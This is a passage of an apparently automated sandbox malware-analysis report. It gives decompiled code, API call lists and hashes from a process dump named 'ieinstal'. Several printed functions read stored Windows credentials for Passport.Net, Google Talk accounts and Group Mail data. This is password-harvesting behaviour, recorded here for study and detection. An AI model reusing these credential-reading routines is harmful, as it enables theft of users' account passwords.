                                                                                                                            control_flow_graph 371 4037bc-40380e memset * 2 call 443a35 374 4038d4-4038d7 371->374 375 403814-403874 call 4021ad call 406ca4 * 2 strchr 371->375 382 403876-403887 _mbscpy 375->382 383 403889-403894 strlen 375->383 384 4038b1-4038cf _mbscpy call 4023d7 382->384 383->384 385 403896-4038ae sprintf 383->385 384->374 385->384
                                                                                                                            C-Code - Quality: 42%
                                                                                                                            			E004037BC(void* __edi, void* __fp0, intOrPtr _a4) {
				char _v276;
				char _v404;
				intOrPtr _v408;
				char _v792;
				intOrPtr _v796;
				char _v924;
				char _v936;
				void _v1959;
				char _v1960;
				void _v2983;
				char _v2984;
				void* __ebx;
				void* __esi;
				char* _t27;
				void* _t47;
				char* _t55;
				char* _t59;
				void* _t66;

				_t66 = __fp0;
				_v1960 = 0;
				memset( &_v1959, 0, 0x3ff);
				_v2984 = 0;
				memset( &_v2983, 0, 0x3ff);
				_t27 =  &_v2984;
				0x443a35(_t27,  &_v1960); // executed
				if(_t27 == 0) {
					return _t27;
				}
				E004021AD( &_v936);
				_push( &_v1960);
				_t47 = 0x7f;
				E00406CA4(_t47,  &_v276);
				_t55 =  &_v404;
				E00406CA4(_t47, _t55,  &_v2984);
				_v796 = 9;
				_v408 = 3;
				_t59 = strchr(_t55, 0x40);
				_push( &_v404);
				if(_t59 == 0) {
					if(strlen() + 0xa < 0) {
						_push( &_v404);
						sprintf( &_v792, "%s@yahoo.com");
					}
				} else {
					0x444032( &_v792);
					 *_t59 = 0;
				}
				0x444032( &_v924,  &_v404);
				return E004023D7( &_v936, _t66, _a4);
			}





















                                                                                                                            0x004037bc
                                                                                                                            0x004037d7
                                                                                                                            0x004037dd
                                                                                                                            0x004037eb
                                                                                                                            0x004037f1
                                                                                                                            0x00403800
                                                                                                                            0x00403807
                                                                                                                            0x0040380e
                                                                                                                            0x004038d7
                                                                                                                            0x004038d7
                                                                                                                            0x0040381b
                                                                                                                            0x00403826
                                                                                                                            0x00403829
                                                                                                                            0x00403830
                                                                                                                            0x0040383c
                                                                                                                            0x00403842
                                                                                                                            0x0040384c
                                                                                                                            0x00403856
                                                                                                                            0x00403868
                                                                                                                            0x00403873
                                                                                                                            0x00403874
                                                                                                                            0x00403894
                                                                                                                            0x0040389c
                                                                                                                            0x004038a9
                                                                                                                            0x004038ae
                                                                                                                            0x00403876
                                                                                                                            0x0040387d
                                                                                                                            0x00403884
                                                                                                                            0x00403884
                                                                                                                            0x004038bf
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004037DD
                                                                                                                            • memset.MSVCRT ref: 004037F1
                                                                                                                              • Part of subcall function 00443A35: memset.MSVCRT ref: 00443A57
                                                                                                                              • Part of subcall function 00443A35: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,000003FF), ref: 00443AC3
                                                                                                                              • Part of subcall function 00406CA4: strlen.MSVCRT ref: 00406CA9
                                                                                                                              • Part of subcall function 00406CA4: memcpy.MSVCRT ref: 00406CBE
                                                                                                                            • strchr.MSVCRT ref: 00403860
                                                                                                                            • _mbscpy.MSVCRT ref: 0040387D
                                                                                                                            • strlen.MSVCRT ref: 00403889
                                                                                                                            • sprintf.MSVCRT ref: 004038A9
                                                                                                                            • _mbscpy.MSVCRT ref: 004038BF
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_mbscpystrlen$Closememcpysprintfstrchr
                                                                                                                            • String ID: %s@yahoo.com
                                                                                                                            • API String ID: 317221925-3288273942
                                                                                                                            • Opcode ID: c01e396ce511f8afc2eb7639449ba7f1f99c67e08b3586f0ab7a0846487aca4e
                                                                                                                            • Instruction ID: 0355cd0d48ae578dfdfe4a6cbfa0b9af13deca75d91fcedaec1ea3361aee035e
                                                                                                                            • Opcode Fuzzy Hash: c01e396ce511f8afc2eb7639449ba7f1f99c67e08b3586f0ab7a0846487aca4e
                                                                                                                            • Instruction Fuzzy Hash: D0215773D0412C5EEB21EA55DD41BDA77ACDF45308F0000EBB648F6081E6789F588F55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00404A94 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 387 404a94-404abd LoadLibraryA 388 404ae7-404aef 387->388 389 404abf-404acd GetProcAddress 387->389 394 404af0-404af5 388->394 390 404ad8-404ae1 FreeLibrary 389->390 391 404acf-404ad3 389->391 390->388 392 404ae3-404ae5 390->392 395 404ad6 391->395 392->394 396 404af7-404b0d MessageBoxA 394->396 397 404b0e-404b12 394->397 395->390
                                                                                                                            C-Code - Quality: 58%
                                                                                                                            			E00404A94(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t7;
				_Unknown_base(*)()* _t12;
				struct HWND__* _t14;
				struct HWND__* _t16;
				void* _t21;
				struct HINSTANCE__* _t24;

				_v12 = 8;
				_v8 = 0xff;
				_t16 = 0;
				_t21 = 0;
				_t24 = LoadLibraryA("comctl32.dll");
				if(_t24 == 0) {
					L5:
					 *0x445030();
					_t7 = 1;
					L6:
					if(_t7 != 0) {
						return 1;
					} else {
						MessageBoxA(_t7, "Error: Cannot load the common control classes.", "Error", 0x30);
						return 0;
					}
				}
				_t12 = GetProcAddress(_t24, "InitCommonControlsEx");
				if(_t12 != 0) {
					_t21 = 1; // executed
					_t14 =  *_t12( &_v12); // executed
					_t16 = _t14;
				}
				FreeLibrary(_t24);
				if(_t21 == 0) {
					goto L5;
				} else {
					_t7 = _t16;
					goto L6;
				}
			}











                                                                                                                            0x00404aa1
                                                                                                                            0x00404aa8
                                                                                                                            0x00404aaf
                                                                                                                            0x00404ab1
                                                                                                                            0x00404ab9
                                                                                                                            0x00404abd
                                                                                                                            0x00404ae7
                                                                                                                            0x00404ae7
                                                                                                                            0x00404aef
                                                                                                                            0x00404af0
                                                                                                                            0x00404af5
                                                                                                                            0x00404b12
                                                                                                                            0x00404af7
                                                                                                                            0x00404b04
                                                                                                                            0x00404b0d
                                                                                                                            0x00404b0d
                                                                                                                            0x00404af5
                                                                                                                            0x00404ac5
                                                                                                                            0x00404acd
                                                                                                                            0x00404ad3
                                                                                                                            0x00404ad4
                                                                                                                            0x00404ad6
                                                                                                                            0x00404ad6
                                                                                                                            0x00404ad9
                                                                                                                            0x00404ae1
                                                                                                                            0x00000000
                                                                                                                            0x00404ae3
                                                                                                                            0x00404ae3
                                                                                                                            0x00000000
                                                                                                                            0x00404ae3

                                                                                                                            APIs
                                                                                                                            • LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404AB3
                                                                                                                            • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404AC5
                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00404AD9
                                                                                                                            • MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404B04
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$AddressFreeLoadMessageProc
                                                                                                                            • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                                            • API String ID: 2780580303-317687271
                                                                                                                            • Opcode ID: 0605f619fc244978403acb2e7e50909fcfc2fbf3368997ac03ccd37e60a8c8f1
                                                                                                                            • Instruction ID: 36f372293bcd99ea712e996d8bb82ea6b99e6deebf99936071b003413e9982ca
                                                                                                                            • Opcode Fuzzy Hash: 0605f619fc244978403acb2e7e50909fcfc2fbf3368997ac03ccd37e60a8c8f1
                                                                                                                            • Instruction Fuzzy Hash: 860149797516103BEB115BB19C49F7FBAACDB8674AF010035F602F2182DEBCC9018A5D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004034D6 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 398 4034d6-403536 memset * 2 call 410493 401 403572-403574 398->401 402 403538-403571 _mbscpy call 406af3 _mbscat call 4033e2 398->402 402->401
                                                                                                                            C-Code - Quality: 64%
                                                                                                                            			E004034D6(void* __ecx, void* __eflags, void* __fp0, intOrPtr _a4) {
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void* __edi;
				void* __esi;
				void* _t15;
				void* _t21;
				void* _t22;
				char* _t26;

				_t21 = __ecx;
				_v532 = 0;
				memset( &_v531, 0, 0x104);
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				_t15 = E00410493(_t21, 0x80000002, "Software\Group Mail", "InstallPath",  &_v532, 0xfa); // executed
				if(_t15 != 0) {
					0x444032( &_v268,  &_v532, _t22);
					_t26 =  &_v268;
					E00406AF3(_t26);
					0x44403e(_t26, "fb.dat");
					return E004033E2(_t26, __fp0, _a4);
				}
				return _t15;
			}













                                                                                                                            0x004034d6
                                                                                                                            0x004034ef
                                                                                                                            0x004034f6
                                                                                                                            0x00403505
                                                                                                                            0x0040350c
                                                                                                                            0x0040352c
                                                                                                                            0x00403536
                                                                                                                            0x00403547
                                                                                                                            0x0040354c
                                                                                                                            0x00403552
                                                                                                                            0x0040355f
                                                                                                                            0x00000000
                                                                                                                            0x00403571
                                                                                                                            0x00403574

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004034F6
                                                                                                                            • memset.MSVCRT ref: 0040350C
                                                                                                                              • Part of subcall function 00410493: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 004104CC
                                                                                                                            • _mbscpy.MSVCRT ref: 00403547
                                                                                                                              • Part of subcall function 00406AF3: strlen.MSVCRT ref: 00406AF4
                                                                                                                              • Part of subcall function 00406AF3: _mbscat.MSVCRT ref: 00406B0B
                                                                                                                            • _mbscat.MSVCRT ref: 0040355F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _mbscatmemset$Close_mbscpystrlen
                                                                                                                            • String ID: InstallPath$Software\Group Mail$fb.dat
                                                                                                                            • API String ID: 3071782539-966475738
                                                                                                                            • Opcode ID: e35c848a323c92a1d31842152f609aeddade97801a3e26e866ac83a52e1d0630
                                                                                                                            • Instruction ID: 06cca456285af6d778403e239192c4ceeddf5a100a2cf1fec545289e95a886a3
                                                                                                                            • Opcode Fuzzy Hash: e35c848a323c92a1d31842152f609aeddade97801a3e26e866ac83a52e1d0630
                                                                                                                            • Instruction Fuzzy Hash: 6901F07294412866EB20F2658C46FCB7A5C9B65705F0000B7BA49F20C3D9F86BD486A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F057 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97stringCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 407 40f057-40f07f call 404666 call 4045d6 412 40f085-40f08c call 40472f 407->412 413 40f15e-40f176 call 404651 call 404780 407->413 412->413 418 40f092-40f0a3 CredReadA 412->418 418->413 420 40f0a9-40f0af 418->420 422 40f0b5-40f0b8 420->422 423 40f15a 420->423 422->423 424 40f0be-40f0ce 422->424 423->413 425 40f0cf-40f0e5 424->425 425->425 426 40f0e7-40f10a call 4047a0 425->426 429 40f157 426->429 430 40f10c-40f12b WideCharToMultiByte 426->430 429->423 431 40f12d-40f13b strlen 430->431 432 40f14e-40f151 LocalFree 430->432 431->432 433 40f13d-40f14d _mbscpy 431->433 432->429 433->432
                                                                                                                            C-Code - Quality: 54%
                                                                                                                            			E0040F057(void* __ebx, void* __eflags) {
				char _v8;
				short* _v12;
				int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				int _v56;
				char _v60;
				char _v584;
				void* __edi;
				void* __esi;
				void* _t36;
				intOrPtr _t44;
				void* _t47;
				char _t62;
				int _t68;
				void* _t73;

				_t73 = __eflags;
				_t60 = __ebx;
				_t68 = 0;
				E00404666( &_v584);
				_v60 = 0;
				_v56 = 0;
				_t36 = E004045D6( &_v60, 0, _t73);
				_t74 = _t36;
				if(_t36 != 0 && E0040472F( &_v584, _t74) != 0) {
					_push( &_v8);
					_push(0);
					_push(4);
					_push("Passport.Net\*"); // executed
					if(_v52() != 0) {
						_t44 = _v8;
						if( *((intOrPtr*)(_t44 + 0x30)) != 0 &&  *((intOrPtr*)(_t44 + 0x18)) > 0) {
							_v32 =  *((intOrPtr*)(_t44 + 0x18));
							_v28 =  *((intOrPtr*)(_t44 + 0x1c));
							_t47 = 0;
							_t62 = 0x4a;
							do {
								 *(_t47 + 0x451a30) =  *(_t47 + 0x450988) << 2;
								_t47 = _t47 + 2;
							} while (_t47 < _t62);
							_v24 = _t62;
							_v20 = 0x451a30;
							if(E004047A0( &_v584,  &_v32,  &_v24,  &_v16) != 0) {
								_t22 = _t60 + 0x100; // 0x100
								if(WideCharToMultiByte(0, 0, _v12, _v16, _t22, 0xff, 0, 0) > 0 && strlen( *(_v8 + 0x30)) < 0xff) {
									0x444032(__ebx,  *(_v8 + 0x30));
									_t68 = 1;
								}
								LocalFree(_v12);
							}
							_t44 = _v8;
						}
						_v48(_t44);
					}
				}
				E00404651( &_v60);
				E00404780( &_v584);
				return _t68;
			}























                                                                                                                            0x0040f057
                                                                                                                            0x0040f057
                                                                                                                            0x0040f068
                                                                                                                            0x0040f06a
                                                                                                                            0x0040f072
                                                                                                                            0x0040f075
                                                                                                                            0x0040f078
                                                                                                                            0x0040f07d
                                                                                                                            0x0040f07f
                                                                                                                            0x0040f095
                                                                                                                            0x0040f096
                                                                                                                            0x0040f097
                                                                                                                            0x0040f099
                                                                                                                            0x0040f0a3
                                                                                                                            0x0040f0a9
                                                                                                                            0x0040f0af
                                                                                                                            0x0040f0c1
                                                                                                                            0x0040f0c9
                                                                                                                            0x0040f0cc
                                                                                                                            0x0040f0ce
                                                                                                                            0x0040f0cf
                                                                                                                            0x0040f0da
                                                                                                                            0x0040f0e2
                                                                                                                            0x0040f0e3
                                                                                                                            0x0040f0f9
                                                                                                                            0x0040f0fc
                                                                                                                            0x0040f10a
                                                                                                                            0x0040f114
                                                                                                                            0x0040f12b
                                                                                                                            0x0040f144
                                                                                                                            0x0040f14d
                                                                                                                            0x0040f14d
                                                                                                                            0x0040f151
                                                                                                                            0x0040f151
                                                                                                                            0x0040f157
                                                                                                                            0x0040f157
                                                                                                                            0x0040f15b
                                                                                                                            0x0040f15b
                                                                                                                            0x0040f0a3
                                                                                                                            0x0040f161
                                                                                                                            0x0040f16c
                                                                                                                            0x0040f176

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00404666: _mbscpy.MSVCRT ref: 004046B5
                                                                                                                              • Part of subcall function 004045D6: LoadLibraryA.KERNEL32(advapi32.dll,?,0040F07D,?,00000000), ref: 004045E3
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(00000000,CredReadA), ref: 004045FC
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredFree), ref: 00404608
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00404614
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00404620
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 0040462C
                                                                                                                              • Part of subcall function 0040472F: LoadLibraryA.KERNELBASE(?,0040F08A,?,00000000), ref: 00404737
                                                                                                                              • Part of subcall function 0040472F: GetProcAddress.KERNEL32(00000000,?), ref: 0040474F
                                                                                                                            • CredReadA.ADVAPI32(Passport.Net\*,00000004,00000000,?,?,00000000), ref: 0040F09E
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000100,000000FF,00000000,00000000,?,?,?,?,00000000), ref: 0040F123
                                                                                                                            • strlen.MSVCRT ref: 0040F133
                                                                                                                            • _mbscpy.MSVCRT ref: 0040F144
                                                                                                                            • LocalFree.KERNEL32(00000000,?,00000000), ref: 0040F151
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$LibraryLoad_mbscpy$ByteCharCredFreeLocalMultiReadWidestrlen
                                                                                                                            • String ID: Passport.Net\*
                                                                                                                            • API String ID: 4000595657-3671122194
                                                                                                                            • Opcode ID: c0e35485f09b5a24e447f0910c227e843a67b38e8fc9a121e48f37b6dcdb3ffc
                                                                                                                            • Instruction ID: b181dd8ad3303716fcb3fe51c6d72bcd9c0cca2a33dd7682b011125bf867cc1e
                                                                                                                            • Opcode Fuzzy Hash: c0e35485f09b5a24e447f0910c227e843a67b38e8fc9a121e48f37b6dcdb3ffc
                                                                                                                            • Instruction Fuzzy Hash: B5316D76900109EBDB20EF96DD45EAEB7B9EF85701F0000BAE604E7291D7389A05CB68
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C9F7 Relevance: 9.1, APIs: 6, Instructions: 71windowCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 434 40c9f7-40ca26 ??2@YAPAXI@Z 435 40ca28-40ca2d 434->435 436 40ca2f 434->436 437 40ca31-40ca44 ??2@YAPAXI@Z 435->437 436->437 438 40ca46-40ca4d call 40400d 437->438 439 40ca4f 437->439 440 40ca51-40ca77 438->440 439->440 443 40ca86-40caf9 call 406e26 call 4019b4 memset LoadIconA call 4019b4 _mbscpy 440->443 444 40ca79-40ca80 DeleteObject 440->444 444->443
                                                                                                                            C-Code - Quality: 62%
                                                                                                                            			E0040C9F7(intOrPtr __eax, intOrPtr* __ebx) {
				struct HICON__* _v8;
				void _v263;
				char _v264;
				void* __edi;
				void* __esi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				struct HICON__* _t28;
				intOrPtr* _t34;
				void* _t36;

				_t34 = __ebx;
				_t21 = __eax;
				 *((intOrPtr*)(__ebx + 0x124)) = 0;
				 *__ebx = 0x446764;
				 *((intOrPtr*)(__ebx + 0x258)) = 0;
				 *((intOrPtr*)(__ebx + 0x374)) = 0;
				0x444092(0x14);
				if(__eax == 0) {
					_t21 = 0;
					__eflags = 0;
				} else {
					 *0x451160 = __eax;
				}
				 *((intOrPtr*)(_t34 + 0x36c)) = _t21;
				0x444092(); // executed
				_t48 = _t21;
				_t36 = 0x12ec;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0040400D(_t21, _t48);
				}
				 *((intOrPtr*)(_t34 + 0x370)) = _t22;
				 *((intOrPtr*)(_t34 + 0x378)) = 0;
				 *((intOrPtr*)(_t34 + 0x260)) = 0;
				 *((intOrPtr*)(_t34 + 0x25c)) = 0;
				 *((intOrPtr*)(_t34 + 0x154)) = 0;
				_t23 =  *(_t34 + 0x258);
				if(_t23 != 0) {
					DeleteObject(_t23);
					 *(_t34 + 0x258) = 0;
				}
				_t24 = E00406E26(); // executed
				 *(_t34 + 0x258) = _t24;
				E004019B4(_t36, _t34 + 0x158, 0x446678);
				_v264 = 0;
				memset( &_v263, 0, 0xff);
				_t28 = LoadIconA( *0x4509f4, 0x65); // executed
				_v8 = _t28;
				0x444032(_t34 + 4, E004019B4(_t36,  &_v264, 0x446660));
				 *(_t34 + 0x104) = _v8;
				return _t34;
			}















                                                                                                                            0x0040c9f7
                                                                                                                            0x0040c9f7
                                                                                                                            0x0040ca04
                                                                                                                            0x0040ca0a
                                                                                                                            0x0040ca10
                                                                                                                            0x0040ca18
                                                                                                                            0x0040ca1e
                                                                                                                            0x0040ca26
                                                                                                                            0x0040ca2f
                                                                                                                            0x0040ca2f
                                                                                                                            0x0040ca28
                                                                                                                            0x0040ca28
                                                                                                                            0x0040ca28
                                                                                                                            0x0040ca36
                                                                                                                            0x0040ca3c
                                                                                                                            0x0040ca41
                                                                                                                            0x0040ca43
                                                                                                                            0x0040ca44
                                                                                                                            0x0040ca4f
                                                                                                                            0x0040ca4f
                                                                                                                            0x0040ca46
                                                                                                                            0x0040ca48
                                                                                                                            0x0040ca48
                                                                                                                            0x0040ca51
                                                                                                                            0x0040ca57
                                                                                                                            0x0040ca5d
                                                                                                                            0x0040ca63
                                                                                                                            0x0040ca69
                                                                                                                            0x0040ca6f
                                                                                                                            0x0040ca77
                                                                                                                            0x0040ca7a
                                                                                                                            0x0040ca80
                                                                                                                            0x0040ca80
                                                                                                                            0x0040ca86
                                                                                                                            0x0040ca96
                                                                                                                            0x0040ca9c
                                                                                                                            0x0040caaf
                                                                                                                            0x0040cab6
                                                                                                                            0x0040cac6
                                                                                                                            0x0040cad7
                                                                                                                            0x0040cae4
                                                                                                                            0x0040caef
                                                                                                                            0x0040caf9

                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@$DeleteIconLoadObject_mbscpymemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2054149589-0
                                                                                                                            • Opcode ID: d475ca6c561f5eaf4fc753d3c68d3f995f62fff83656612615d29b2a36e03343
                                                                                                                            • Instruction ID: 30546b7ffc0c4dd123ee27c8339ba671db17b069e44cca125f5e111fbf26b461
                                                                                                                            • Opcode Fuzzy Hash: d475ca6c561f5eaf4fc753d3c68d3f995f62fff83656612615d29b2a36e03343
                                                                                                                            • Instruction Fuzzy Hash: D22190B5900324DBDB10EF648CC97D97BA8AB44705F1445BBEE08EF296D7B849408BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408344 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79registryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 89%
                                                                                                                            			E00408344(void* __ecx, int _a4, char _a8, char _a12, void _a13, char _a268, void _a269) {
				void* _v0;
				char _v4;
				long _t28;
				void* _t32;
				void* _t35;
				void* _t49;
				signed int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_t49 = __ecx;
				0x4446d0();
				E00408043(_a4); // executed
				_t28 = E00410411(0x80000001, "Software\Google\Google Talk\Accounts",  &_v4);
				_t55 = (_t53 & 0xfffffff8) + 0xc;
				if(_t28 == 0) {
					_a4 = 0;
					_a12 = 0;
					memset( &_a13, 0, 0xff);
					_t56 = _t55 + 0xc;
					_t32 = E004104D7(_v0, 0,  &_a12);
					while(1) {
						_t57 = _t56 + 0xc;
						if(_t32 != 0) {
							break;
						}
						_t35 = E00410411(_v0,  &_a12,  &_a8);
						_t56 = _t57 + 0xc;
						if(_t35 == 0) {
							_a268 = 0;
							memset( &_a269, 0, 0xfff);
							E00410452(0xfff, _t49, _a8, 0x44632c,  &_a268);
							_t56 = _t56 + 0x18;
							E004081FD( &_a268, _a4,  &_a12);
							RegCloseKey(_v0);
						}
						_a4 = _a4 + 1;
						_t32 = E004104D7(_v0, _a4,  &_a12);
					}
					_t28 = RegCloseKey(_v0);
				}
				return _t28;
			}













                                                                                                                            0x00408344
                                                                                                                            0x0040834f
                                                                                                                            0x00408359
                                                                                                                            0x0040836d
                                                                                                                            0x00408372
                                                                                                                            0x00408377
                                                                                                                            0x0040838a
                                                                                                                            0x0040838e
                                                                                                                            0x00408392
                                                                                                                            0x00408397
                                                                                                                            0x004083a4
                                                                                                                            0x00408439
                                                                                                                            0x00408439
                                                                                                                            0x0040843e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004083c2
                                                                                                                            0x004083c7
                                                                                                                            0x004083cc
                                                                                                                            0x004083dc
                                                                                                                            0x004083e3
                                                                                                                            0x00408401
                                                                                                                            0x00408406
                                                                                                                            0x00408418
                                                                                                                            0x00408421
                                                                                                                            0x00408421
                                                                                                                            0x00408423
                                                                                                                            0x00408434
                                                                                                                            0x00408434
                                                                                                                            0x00408448
                                                                                                                            0x00408448
                                                                                                                            0x0040844f

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00408043: memset.MSVCRT ref: 004080A5
                                                                                                                              • Part of subcall function 00408043: memset.MSVCRT ref: 004080B9
                                                                                                                              • Part of subcall function 00408043: memset.MSVCRT ref: 004080D3
                                                                                                                              • Part of subcall function 00408043: memset.MSVCRT ref: 004080E8
                                                                                                                              • Part of subcall function 00408043: GetComputerNameA.KERNEL32(?,?), ref: 0040810A
                                                                                                                              • Part of subcall function 00408043: GetUserNameA.ADVAPI32(?,?), ref: 0040811E
                                                                                                                              • Part of subcall function 00408043: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040813D
                                                                                                                              • Part of subcall function 00408043: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00408152
                                                                                                                              • Part of subcall function 00408043: strlen.MSVCRT ref: 0040815B
                                                                                                                              • Part of subcall function 00408043: strlen.MSVCRT ref: 0040816A
                                                                                                                              • Part of subcall function 00408043: memcpy.MSVCRT ref: 0040817C
                                                                                                                              • Part of subcall function 00410411: RegOpenKeyExA.KERNELBASE(00401C4B,00401C4B,00000000,00020019,?,00401C4B,?,?,?), ref: 00410424
                                                                                                                            • memset.MSVCRT ref: 00408392
                                                                                                                              • Part of subcall function 004104D7: RegEnumKeyExA.ADVAPI32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 004104FA
                                                                                                                            • memset.MSVCRT ref: 004083E3
                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?), ref: 00408421
                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00408448
                                                                                                                            Strings
                                                                                                                            • Software\Google\Google Talk\Accounts, xrefs: 00408363
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$ByteCharCloseMultiNameWidestrlen$ComputerEnumOpenUsermemcpy
                                                                                                                            • String ID: Software\Google\Google Talk\Accounts
                                                                                                                            • API String ID: 2959138223-1079885057
                                                                                                                            • Opcode ID: de50773ad60ad315725188ace9b51b45ce00f3af3b72c9474aab8c158646e734
                                                                                                                            • Instruction ID: c6fde65740424625f6a31d6a262b66ef11e3a8462d59295f471bfbb40e3c967b
                                                                                                                            • Opcode Fuzzy Hash: de50773ad60ad315725188ace9b51b45ce00f3af3b72c9474aab8c158646e734
                                                                                                                            • Instruction Fuzzy Hash: 5E2183B100824AAED610DF51DD42EABB7DCEF94344F00043EFA84911A2F675DD5D9BAB
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B783 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 59%
                                                                                                                            			E0040B783(void* __eax) {
				void* __esi;
				_Unknown_base(*)()* _t26;
				void* _t31;
				intOrPtr _t34;
				char* _t44;
				void* _t45;
				intOrPtr* _t46;
				int _t47;

				_t45 = __eax;
				_t37 =  *((intOrPtr*)(__eax + 0x37c));
				_t47 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x37c)) + 0x30)) > 0) {
					do {
						_t31 = E00407BAF(_t47, _t37);
						0x444074("/sort", _t31);
						if(_t31 == 0) {
							_t4 = _t47 + 1; // 0x1
							_t44 = E00407BAF(_t4,  *((intOrPtr*)(_t45 + 0x37c)));
							_t54 =  *_t44 - 0x7e;
							_t34 =  *((intOrPtr*)(_t45 + 0x370));
							if( *_t44 != 0x7e) {
								_push(0);
							} else {
								_push(1);
								_t44 = _t44 + 1;
							}
							_push(_t44);
							E0040B340(_t34, _t54);
						}
						_t37 =  *((intOrPtr*)(_t45 + 0x37c));
						_t47 = _t47 + 1;
